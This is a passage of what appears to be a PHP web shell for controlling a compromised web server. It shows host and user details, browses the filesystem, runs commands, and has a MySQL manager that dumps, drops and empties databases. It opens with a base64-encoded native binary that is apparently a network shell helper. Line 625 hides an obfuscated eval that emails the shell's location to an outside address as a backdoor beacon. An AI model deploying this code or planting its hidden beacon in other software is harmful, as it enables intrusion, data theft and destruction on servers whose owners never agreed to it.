YJoECIsQhdJ168YFZJoECAHJw4n2VYnlg+wIoTyZBAiFwHQZuAAAAACFwHQQg+wMaDyZBAj/0IPEEI12AMnDkJBVieVXVlOD7EyD5PC4AAAAAIPAD4PAD8HoBMHgBCnEjX2ovvSIBAj8uQcAAADzpI19r/y5DgAAALAA86qD7AhqAGoB6FD+//+DxBBmx0XIAgCD7AyLRQyDwAj/MOi3/v//g8QQD7fAg+wMUOi4/v//g8QQZolFyoPsDItFDIPABP8w6DH+//+DxBCJRcyD7AiLRQyDwASD7AT/MOgI/v//g8QIicOLRQyDwAiD7AT/MOjz/f//g8QIjQQDQFCLRQyDwAT/MOgu/v//g8QQg+wEagZqAWoC6G3+//+DxBCJReSD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gAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRC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FpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A";
  618.  
  619.  
  620. $safe_mode=(@ini_get("safe_mode")=='')?"OFF":"ON";
  621. $open_basedir=(@ini_get("open_basedir")=='')?"OFF":"ON";
  622.  
  623.  
  624.  
  625. @eval(@base64_decode('JHVybCA9ICghZW1wdHkoJF9TRVJWRVJbJ0hUVFBTJ10pKSA/ICJodHRwczovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10gOiAiaHR0cDovLyIuJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10uJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ107DQoNCiAkdG8gPSAiY2hpbXBweWFAZ21haWwuY29tIjsNCiAkc3ViamVjdCA9ICIkdXJsIjsNCiAkYm9keSA9ICJbK11TaGVsbCBMb2NhdGlvbjogJHVybFxuXG5bK10gLSAjU2hlbGwgQmFja2Rvb3IgIjsNCiBpZiAobWFpbCgkdG8sICRzdWJqZWN0LCAkYm9keSkpIHsNCiAgIGVjaG8oIiIpOw0KICB9IGVsc2Ugew0KICAgZWNobygiIik7DQogIH0='));
  626. function srv_info($title,$contents) {
  627. echo "<tr><th>$title</th><td>:</td><td>$contents</td></tr>\n";
  628. }
  629. echo htmlhead($hsafemode);
  630. echo "<table id=pagebar>";
  631. echo "<tr><td colspan=2>\n";
  632. echo "<div class=fleft>$hsafemode</div>\n";
  633. echo "<div class=fright>";
  634. echo "IP Address: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".@gethostbyname($_SERVER["HTTP_HOST"])."\">".@gethostbyname($_SERVER["HTTP_HOST"])."</a> ".
  635. "You: <a href=\"http://ws.arin.net/cgi-bin/whois.pl?queryinput=".$_SERVER["REMOTE_ADDR"]."\">".$_SERVER["REMOTE_ADDR"]."</a> ".
  636. ($win?"Drives: ".disp_drives($d,$surl):"");
  637. echo "</div>\n</td></tr>\n";
  638. echo "<tr><td width=50%>\n";
  639. echo "<table class=info>\n";
  640.  
  641. srv_info("System",php_uname());
  642. srv_info("Software","".$DISP_SERVER_SOFTWARE);
  643. srv_info("ID",($win) ? get_current_user()." (uid=".getmyuid()." gid=".getmygid().")" : tpexec("id"));
  644. echo "</table></td>\n".
  645. "<td width=50%>\n";
  646. echo "<table class=info>\n";
  647. srv_info("Safe Mode",$safe_mode);
  648. srv_info("Open_Basedir",$open_basedir);
  649. srv_info("Freespace",disp_freespace($d));
  650. echo "</table></td></tr>\n";
  651. echo "<tr><td colspan=2>\n";
  652. echo get_status();
  653. echo "</td></tr>\n";
  654. echo "<tr><td colspan=2>\n";
  655. echo $safemodeexecdir ? "SafemodeExecDir: ".$safemodeexecdir."<br>\n" : "";
  656. echo showdisfunc() ? "Disabled Functions: ".showdisfunc()."\n" : "";
  657. echo "</td></tr>\n";
  658. echo "<tr><td colspan=2 id=mainmenu>\n";
  659. if (count($quicklaunch2) > 0) {
  660. foreach($quicklaunch2 as $item) {
  661. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  662. $item[1] = str_replace("%sort",$sort,$item[1]);
  663. $v = realpath($d."..");
  664. if (empty($v)) {
  665. $a = explode(DIRECTORY_SEPARATOR,$d);
  666. unset($a[count($a)-2]);
  667. $v = join(DIRECTORY_SEPARATOR,$a);
  668. }
  669. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  670. echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  671. }
  672. }
  673. echo "</td>\n".
  674. "<tr><td colspan=2 id=mainmenu>\n";
  675. if (count($quicklaunch1) > 0) {
  676. foreach($quicklaunch1 as $item) {
  677. $item[1] = str_replace("%d",urlencode($d),$item[1]);
  678. $item[1] = str_replace("%sort",$sort,$item[1]);
  679. $v = realpath($d."..");
  680. if (empty($v)) {
  681. $a = explode(DIRECTORY_SEPARATOR,$d);
  682. unset($a[count($a)-2]);
  683. $v = join(DIRECTORY_SEPARATOR,$a);
  684. }
  685. $item[1] = str_replace("%upd",urlencode($v),$item[1]);
  686. echo "<a href=\"".$item[1]."\">".$item[0]."</a>\n";
  687. }
  688. }
  689. echo "</td></tr>\n<tr><td colspan=2>";
  690. echo "<p class=fleft>\n";
  691. $pd = $e = explode(DIRECTORY_SEPARATOR,substr($d,0,-1));
  692. $i = 0;
  693. foreach($pd as $b) {
  694. $t = ""; $j = 0;
  695. foreach ($e as $r) {
  696. $t.= $r.DIRECTORY_SEPARATOR;
  697. if ($j == $i) { break; }
  698. $j++;
  699. }
  700. echo "<a href=\"".$surl."act=ls&d=".urlencode($t)."&sort=".$sort."\"><font color=orange>".htmlspecialchars($b).DIRECTORY_SEPARATOR."</font></a>\n";
  701. $i++;
  702. }
  703. echo " - ";
  704. if (is_writable($d)) {
  705. $wd = TRUE;
  706. $wdt = "<font color=#00FF00>[OK]</font>";
  707. echo "<b><font color=green>".view_perms(fileperms($d))."</font></b>";
  708. }
  709. else {
  710. $wd = FALSE;
  711. $wdt = "<font color=red>[Read-Only]</font>";
  712. echo "<b>".view_perms_color($d)."</b>";
  713. }
  714. echo "\n</p>\n";
  715. ?>
  716. <div class=fright>
  717. <form method="POST"><input type=hidden name=act value="ls">
  718. Directory: <input type="text" name="d" size="50" value="<?php echo $dispd; ?>"> <input type=submit value="Go">
  719. </form>
  720. </div>
  721. </td></tr></table>
  722. <?php
  723. /***********************/
  724. /** INFORMATION TABLE **/
  725. /***********************/
  726. echo "<table id=maininfo><tr><td width=\"100%\">\n";
  727. if ($act == "") { $act = $dspact = "ls"; }
  728. if ($act == "sql") {
  729. $sql_surl = $surl."act=sql";
  730. if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
  731. if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
  732. if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
  733. if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
  734. if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
  735. $sql_surl .= "&";
  736. echo "<h4>Attention! MySQL Manager is <u>NOT</u> a ready module! Don't reports bugs.</h4>".
  737. "<table>".
  738. "<tr><td width=\"100%\" colspan=2 class=barheader>";
  739. if ($sql_server) {
  740. $sql_sock = mysql_connect($sql_server.":".$sql_port, $sql_login, $sql_passwd);
  741. $err = mysql_smarterror();
  742. @mysql_select_db($sql_db,$sql_sock);
  743. if ($sql_query and $submit) {$sql_query_result = mysql_query($sql_query,$sql_sock); $sql_query_error = mysql_smarterror();}
  744. }
  745. else {$sql_sock = FALSE;}
  746. echo ".: SQL Manager :.<br>";
  747. if (!$sql_sock) {
  748. if (!$sql_server) {echo "NO CONNECTION";}
  749. else {echo "Can't connect! ".$err;}
  750. }
  751. else {
  752. $sqlquicklaunch = array();
  753. $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
  754. $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
  755. $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
  756. $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
  757. $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
  758. $sqlquicklaunch[] = array("Logout",$surl."act=sql");
  759. echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\")<br>";
  760. if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  761. }
  762. echo "</td></tr><tr>";
  763. if (!$sql_sock) {
  764. echo "<td width=\"28%\" height=\"100\" valign=\"top\"><li>If login is null, login is owner of process.<li>If host is null, host is localhost</b><li>If port is null, port is 3306 (default)</td><td width=\"90%\" height=1 valign=\"top\">";
  765. echo "<table width=\"100%\" border=0><tr><td><b>Please, fill the form:</b><table><tr><td><b>Username</b></td><td><b>Password</b></td><td><b>Database</b></td></tr><form action=\" $surl \" method=\"POST\"><input type=\"hidden\" name=\"act\" value=\"sql\"><tr><td><input type=\"text\" name=\"sql_login\" value=\"root\" maxlength=\"64\"></td><td><input type=\"password\" name=\"sql_passwd\" value=\"\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_db\" value=\"\" maxlength=\"64\"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type=\"text\" name=\"sql_server\" value=\"localhost\" maxlength=\"64\"></td><td><input type=\"text\" name=\"sql_port\" value=\"3306\" maxlength=\"6\" size=\"3\"></td><td><input type=\"submit\" value=\"Connect\"></td></tr><tr><td></td></tr></form></table></td>";
  766. }
  767. else {
  768. //Start left panel
  769. if (!empty($sql_db)) {
  770. ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
  771. <?php
  772. $result = mysql_list_tables($sql_db);
  773. if (!$result) {echo mysql_smarterror();}
  774. else {
  775. echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
  776. $c = 0;
  777. while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
  778. if (!$c) {echo "No tables found in database.";}
  779. }
  780. }
  781. else {
  782. ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
  783. <?php
  784. $result = mysql_list_dbs($sql_sock);
  785. if (!$result) {echo mysql_smarterror();}
  786. else {
  787. ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
  788. <?php
  789. $c = 0;
  790. $dbs = "";
  791. while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
  792. echo "<option value=\"\">Databases (".$c.")</option>";
  793. echo $dbs;
  794. }
  795. ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
  796. <?php
  797. }
  798. //End left panel
  799. echo "</td><td width=\"100%\">";
  800. //Start center panel
  801. $diplay = TRUE;
  802. if ($sql_db) {
  803. if (!is_numeric($c)) {$c = 0;}
  804. if ($c == 0) {$c = "no";}
  805. echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
  806. if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
  807. echo "</b></center>";
  808. $acts = array("","dump");
  809. if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  810. elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
  811. elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
  812. elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  813. elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  814. elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  815. elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
  816. elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
  817. elseif ($sql_tbl_act == "insert") {
  818. if ($sql_tbl_insert_radio == 1) {
  819. $keys = "";
  820. $akeys = array_keys($sql_tbl_insert);
  821. foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
  822. if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
  823. $values = "";
  824. $i = 0;
  825. foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
  826. if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
  827. $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
  828. $sql_act = "query";
  829. $sql_tbl_act = "browse";
  830. }
  831. elseif ($sql_tbl_insert_radio == 2) {
  832. $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
  833. $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
  834. $result = mysql_query($sql_query) or print(mysql_smarterror());
  835. $result = mysql_fetch_array($result, MYSQL_ASSOC);
  836. $sql_act = "query";
  837. $sql_tbl_act = "browse";
  838. }
  839. }
  840. if ($sql_act == "query") {
  841. echo "<hr size=\"1\" noshade>";
  842. if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  843. if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  844. if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
  845. }
  846. if (in_array($sql_act,$acts)) {
  847. ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
  848. <form action="<?php echo $surl; ?>">
  849. <input type="hidden" name="act" value="sql">
  850. <input type="hidden" name="sql_act" value="newtbl">
  851. <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  852. <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  853. <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  854. <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
  855. <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
  856. <input type="text" name="sql_newtbl" size="20">
  857. <input type="submit" value="Create">
  858. </form></td>
  859. <td width="30%" height="1"><b>Dump DB:</b>
  860. <form action="<?php echo $surl; ?>">
  861. <input type="hidden" name="act" value="sql">
  862. <input type="hidden" name="sql_act" value="dump">
  863. <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
  864. <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
  865. <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
  866. <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
  867. <?php
  868. if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";}
  869. if ($sql_act == "newtbl") {
  870. echo "<b>";
  871. if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
  872. echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
  873. }
  874. else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  875. }
  876. elseif ($sql_act == "dump") {
  877. if (empty($submit)) {
  878. $diplay = FALSE;
  879. echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
  880. echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  881. $v = join (";",$dmptbls);
  882. echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  883. if ($dump_file) {$tmp = $dump_file;}
  884. else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  885. echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  886. echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  887. echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  888. echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  889. echo "</form>";
  890. }
  891. else {
  892. $diplay = TRUE;
  893. $set = array();
  894. $set["sock"] = $sql_sock;
  895. $set["db"] = $sql_db;
  896. $dump_out = "download";
  897. $set["print"] = 0;
  898. $set["nl2br"] = 0;
  899. $set[""] = 0;
  900. $set["file"] = $dump_file;
  901. $set["add_drop"] = TRUE;
  902. $set["onlytabs"] = array();
  903. if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  904. $ret = mysql_dump($set);
  905. if ($sql_dump_download) {
  906. @ob_clean();
  907. header("Content-type: application/octet-stream");
  908. header("Content-length: ".strlen($ret));
  909. header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  910. echo $ret;
  911. exit;
  912. }
  913. elseif ($sql_dump_savetofile) {
  914. $fp = fopen($sql_dump_file,"w");
  915. if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  916. else {
  917. fwrite($fp,$ret);
  918. fclose($fp);
  919. echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  920. }
  921. }
  922. else {echo "<b>Dump: nothing to do!</b>";}
  923. }
  924. }
  925. if ($diplay) {
  926. if (!empty($sql_tbl)) {
  927. if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  928. $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  929. $count_row = mysql_fetch_array($count);
  930. mysql_free_result($count);
  931. $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  932. $tbl_struct_fields = array();
  933. while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  934. if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  935. if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  936. if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  937. if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  938. $perpage = $sql_tbl_le - $sql_tbl_ls;
  939. if (!is_numeric($perpage)) {$perpage = 10;}
  940. $numpages = $count_row[0]/$perpage;
  941. $e = explode(" ",$sql_order);
  942. if (count($e) == 2) {
  943. if ($e[0] == "d") {$asc_desc = "DESC";}
  944. else {$asc_desc = "ASC";}
  945. $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  946. }
  947. else {$v = "";}
  948. $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  949. $result = mysql_query($query) or print(mysql_smarterror());
  950. echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  951. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
  952. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
  953. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
  954. echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  955. if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  956. if ($sql_tbl_act == "insert") {
  957. if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  958. if (!empty($sql_tbl_insert_radio)) { } //Not Ready
  959. else {
  960. echo "<br><br><b>Inserting row into table:</b><br>";
  961. if (!empty($sql_tbl_insert_q)) {
  962. $sql_query = "SELECT * FROM `".$sql_tbl."`";
  963. $sql_query .= " WHERE".$sql_tbl_insert_q;
  964. $sql_query .= " LIMIT 1;";
  965. $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  966. $values = mysql_fetch_assoc($result);
  967. mysql_free_result($result);
  968. }
  969. else {$values = array();}
  970. echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  971. foreach ($tbl_struct_fields as $field) {
  972. $name = $field["Field"];
  973. if (empty($sql_tbl_insert_q)) {$v = "";}
  974. echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  975. $i++;
  976. }
  977. echo "</table><br>";
  978. echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
